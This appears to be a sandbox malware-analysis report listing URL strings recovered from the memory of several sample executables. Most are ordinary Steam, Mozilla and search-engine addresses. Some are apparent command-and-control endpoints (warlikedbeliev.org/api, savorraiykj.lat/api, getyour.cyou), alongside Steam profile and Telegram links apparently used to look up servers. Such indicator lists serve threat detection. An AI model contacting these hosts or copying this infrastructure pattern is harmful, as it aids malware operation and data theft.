Source: oaBqkImU6R.exe, 00000001.00000003.1473396641.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: oaBqkImU6R.exe, 00000001.00000003.1473396641.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: oaBqkImU6R.exe, 00000001.00000003.1445578593.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1445751240.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.00000000043A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000022.00000002.2433470814.000001E640811000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2566675634.00000249DA4A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000032.00000002.2566675634.00000249DA6C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: oaBqkImU6R.exe, 00000001.00000003.1487893904.0000000005D04000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1487831107.0000000005CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500
Source: oaBqkImU6R.exe, 00000001.00000003.1487893904.0000000005D04000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1487831107.0000000005CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500000.1&cta
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: oaBqkImU6R.exe, 00000001.00000003.1445578593.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1445751240.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.00000000043A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: oaBqkImU6R.exe, 00000001.00000003.1445578593.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1445751240.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.00000000043A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: oaBqkImU6R.exe, 00000001.00000003.1445578593.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1445751240.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.00000000043A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=eVGzFA1_2smb&a
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/fatalerror.css?v=OFUqlcDNiD6y&l=engli
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: f10455927a.exe, 00000017.00000002.2257273634.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/appl
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=S_dh0_Jk
Source: f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=bHp0
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=Eq36AUaEgab8&l=en
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=gOyfgA0bHRkL&am
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: oaBqkImU6R.exe, 00000001.00000003.1487893904.0000000005D04000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1487831107.0000000005CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: oaBqkImU6R.exe, 00000001.00000003.1487893904.0000000005D04000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1487831107.0000000005CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000032.00000002.2712902898.00000249EA50C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000032.00000002.2712902898.00000249EA50C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000032.00000002.2712902898.00000249EA50C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: regsvr32.exe, 00000021.00000002.2792414444.00007FFEDE614000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support/rust/deps
Source: oaBqkImU6R.exe, 00000001.00000003.1445578593.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1445751240.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.00000000043A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: oaBqkImU6R.exe, 00000001.00000003.1445578593.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1445751240.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.00000000043A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: oaBqkImU6R.exe, 00000001.00000003.1445578593.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1445751240.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.00000000043A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Avoiding.com, 00000015.00000002.2808212701.00000000040C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou
Source: Avoiding.com, 00000015.00000002.2808212701.00000000040C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/
Source: Avoiding.com, 00000015.00000002.2808212701.00000000040C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/hS
Source: Avoiding.com, 00000015.00000002.2809434803.0000000004168000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou3
Source: Avoiding.com, 00000015.00000002.2809570193.000000000421D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou;
Source: Avoiding.com, 00000015.00000002.2808212701.00000000040C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyouC3e
Source: Avoiding.com, 00000015.00000002.2808212701.00000000040C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyouK
Source: Avoiding.com, 00000015.00000002.2808212701.00000000040C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyouW
Source: Avoiding.com, 00000015.00000002.2809570193.000000000421D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyouk
Source: Avoiding.com, 00000015.00000002.2809570193.000000000421D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyouw
Source: powershell.exe, 00000032.00000002.2566675634.00000249DA6C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: oaBqkImU6R.exe, 00000001.00000003.1487831107.0000000005CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: powershell.exe, 00000022.00000002.2481049895.000001E65087C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2712902898.00000249EA50C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2257420867.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://savorraiykj.lat/api
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2257420867.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2258844385.0000000000CEC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2247496102.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2250122064.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: Avoiding.com, 00000015.00000003.2443424383.00000000041C1000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000003.2443104110.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2804888253.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2809434803.0000000004168000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000003.2442721024.00000000041C1000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000003.2443490404.00000000040C1000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.000000000432D000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000003.2442956106.0000000004891000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2811198593.0000000004891000.00000040.00001000.00020000.00000000.sdmp, Avoiding.com, 00000015.00000003.2442799546.000000000432E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199820567237
Source: Avoiding.com, 00000015.00000003.2442799546.000000000432E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199820567237hac22tlMozilla/5.0
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2257420867.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/u
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamloopback.host
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCou
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: oaBqkImU6R.exe, 00000001.00000003.1475821285.000000000601A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: oaBqkImU6R.exe, 00000001.00000003.1475821285.000000000601A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Avoiding.com, 00000015.00000002.2804888253.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Avoiding.com, 00000015.00000002.2804888253.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/B
Source: Avoiding.com, 00000015.00000002.2804888253.0000000000F50000.00000004.00000020.00020000.00000000.sdmp, Avoiding.com, 00000015.00000003.2443490404.00000000040C1000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.000000000432D000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000003.2442956106.0000000004891000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2811198593.0000000004891000.00000040.00001000.00020000.00000000.sdmp, Avoiding.com, 00000015.00000003.2442799546.000000000432E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/m08mbk
Source: Avoiding.com, 00000015.00000003.2442799546.000000000432E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/m08mbkhac22tlMozilla/5.0
Source: oaBqkImU6R.exe, 00000001.00000003.1502223186.0000000001451000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1458951871.0000000005CF3000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1473166707.0000000001451000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1469448197.0000000005D0C000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1469604188.0000000001451000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1488001565.0000000001451000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1458970313.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/
Source: oaBqkImU6R.exe, 00000001.00000003.1511961303.0000000001451000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1459340093.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/.
Source: oaBqkImU6R.exe, 00000001.00000002.1579021482.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000002.1579080411.0000000001445000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1491059863.000000000143E000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1511846556.0000000005CFF000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1473166707.0000000001455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/api
Source: oaBqkImU6R.exe, 00000001.00000003.1488001565.0000000001455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/api0m
